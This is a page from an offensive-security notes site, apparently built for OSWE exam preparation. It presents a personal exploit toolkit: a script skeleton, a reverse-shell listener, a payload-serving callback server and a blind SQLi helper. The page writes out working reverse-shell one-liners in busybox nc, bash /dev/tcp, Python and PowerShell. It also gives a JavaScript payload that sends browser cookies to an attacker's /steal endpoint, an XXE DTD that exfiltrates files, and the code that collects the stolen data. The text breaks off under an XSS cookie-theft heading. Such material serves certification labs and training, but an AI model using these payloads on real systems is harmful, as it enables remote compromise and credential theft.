> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.
# OSWE Exploit Helpers
My helper modules for writing OSWE exploit scripts. Feel free pull what you need into your script for each target. The full toolkit lives in my GitHub repo here:
Exploit template plus helper modules for blind SQLi, reverse shells, web callbacks, and WebSocket interfaces.
## Files
* [`exploit.py`](https://github.com/hkm67/OSWE-Notes/blob/main/exploit.py) – Main skeleton of the exploit script
* [`utils.py`](https://github.com/hkm67/OSWE-Notes/blob/main/utils.py) – Banner helpers, regex extractor, password/name generators, PS1 encoder, etc.
* [`shell_listener.py`](https://github.com/hkm67/OSWE-Notes/blob/main/shell_listener.py) – TCP reverse shell listener
* [`web_callback_server.py`](https://github.com/hkm67/OSWE-Notes/blob/main/web_callback_server.py) – Serve payloads + catch callbacks (XSS, XXE, SSRF)
* [`sqli_parallel.py`](https://github.com/hkm67/OSWE-Notes/blob/main/sqli_parallel.py) – Parallel blind SQLi extractor
* [`websocket_helper.py`](https://github.com/hkm67/OSWE-Notes/blob/main/websocket_helper.py) – WebSocket response drainer (targets with WS interfaces)
`exploit.py` is a barebone skeleton: session setup, argument parsing, and an empty exploit chain. Paste in the helpers the target needs from the other files, then fill in the stage functions.
```bash theme={null}
python3 exploit.py -t 10.10.10.10 -l 10.10.14.5 --shell
```
## [exploit.py](https://github.com/hkm67/OSWE-Notes/blob/main/exploit.py) – Flags
| Flag | Default | Description |
| ----------------- | -------- | --------------------------------------------------------- |
| `-t / --target` | required | Target IP or IP:port |
| `-l / --lhost` | required | Your tun0 IP |
| `-p / --lport` | 4444 | Reverse shell port |
| `-wp / --wport` | 80 | Web callback server port |
| `-u / --username` | – | Provide a known username to skip enumeration/registration |
| `-P / --password` | – | Provide a known password to skip brute-forcing |
| `-f / --file` | – | File path to read (for targets with LFI or XXE) |
| `--shell` | off | Trigger reverse shell stage |
| `--proxy` | off | Route all traffic through Burp (127.0.0.1:8080) |
`-u` and `-P` exist because some stages are slow. Brute-forcing a token can take a few minutes. Once you have the credentials, pass them directly and skip to the stage you're actually working on.
## Helpers
### [utils.py](https://github.com/hkm67/OSWE-Notes/blob/main/utils.py)
**Console output:**
```python theme={null}
print_ok("Registered as ABCDEF") # [+] success, extracted value
print_info("Waiting for callback...") # [*] status update
print_err("Login failed") # [-] something went wrong
print_stage(2, "Exploit SQLi") # [STAGE 2] ── major step divider
print_banner("MyExploit") # ══ header at script start
```
**Random generators:**
```python theme={null}
username = generate_random_name() # e.g. "KXQTMHJZAW"
password = generate_password() # e.g. "Xk3!mVqZ..." – upper+lower+digit+special
email = username + "@offsec.exam"
```
`generate_password()` always satisfies strict validation policies. It avoids shell-breaking characters (quotes, backslashes) so you can safely embed it in payloads.
**Regex extraction** – pull values out of HTML responses:
```python theme={null}
#
csrf = extract_between_markers(r.text, 'name="csrf_token" value="', '"')
# href="/reset?token=XYZ123&expire=..."
token = extract_between_markers(r.text, "token=", "&")
# All values from a table column
users = extract_all_between_markers(r.text, "
", "
")
```
Uses `re.DOTALL`, so it works on values that span multiple lines.
**PowerShell encoder** – avoids quoting issues when injecting PS1 through a webshell:
```python theme={null}
b64 = encode_ps1("whoami")
cmd = f"powershell.exe -EncodedCommand {b64}"
```
`-EncodedCommand` expects UTF-16LE base64. Encoding it in Python ensures the command arrives intact regardless of how it's passed through the delivery mechanism.
### [shell\_listener.py](https://github.com/hkm67/OSWE-Notes/blob/main/shell_listener.py)
Paste `start_listener()` into your script, run it in a background thread, then trigger the shell:
```python theme={null}
listener_t = threading.Thread(target=start_listener, args=(lhost, lport), daemon=True)
listener_t.start()
time.sleep(1)
trigger_revshell(...) # your function that calls back to lhost:lport
listener_t.join() # blocks until you exit the session
```
Two threads: one reads from the socket and prints, the other reads your input and sends. This way neither side blocks the other.
Uncomment `conn.send(b"\n")` inside the function for PowerShell. It kicks the PS1 prompt on connect so you see output immediately.
**Reverse shell payloads:**
```bash busybox nc theme={null}
busybox nc -e /bin/bash
```
```bash bash theme={null}
bash -i >& /dev/tcp// 0>&1
```
```python Python wrap theme={null}
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('',));[os.dup2(s.fileno(),i) for i in range(3)];subprocess.call(['/bin/sh','-i'])"
```
```powershell PowerShell wrap theme={null}
$c=New-Object Net.Sockets.TCPClient('',);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($rb,0,$rb.Length)}
```
### [web\_callback\_server.py](https://github.com/hkm67/OSWE-Notes/blob/main/web_callback_server.py)
One server that does two things: serves files to the victim and captures whatever the victim sends back.
Hardcode your payloads as constants at the top of the script, using `.replace()` for LHOST/LPORT (full credits to [rizemon/exploit-writing-for-oswe](https://github.com/rizemon/exploit-writing-for-oswe) for this neat trick!):
```python theme={null}
JS_PAYLOAD = """
fetch('http:///steal?b64_cookie=' + btoa(document.cookie))
""".replace("", LHOST)
DTD_PAYLOAD = """
/xxe?x=%file;'>">
%eval; %exfil;""".replace("", LHOST)
```
Then register and start:
```python theme={null}
SERVED_FILES["/payload.js"] = (JS_PAYLOAD, "application/javascript")
SERVED_FILES["/evil.dtd"] = (DTD_PAYLOAD, "application/xml-dtd")
httpd = start_server(host=lhost, port=wport)
inject_payload(...) # trigger the victim to fetch your payload
while "/steal" not in EXFIL_DATA:
time.sleep(0.5)
raw = EXFIL_DATA["/steal"]["b64_cookie"]
cookie = base64.b64decode(raw).decode()
httpd.shutdown()
httpd.server_close()
```
GET callbacks store query params in `EXFIL_DATA[path]`. POST callbacks parse JSON or form-encoded bodies into the same dict. CORS headers are set on every response so `fetch()` in the victim browser works cross-origin.
**XSS cookie theft:**
```javascript theme={null}
// Generic img onerror
// svg onload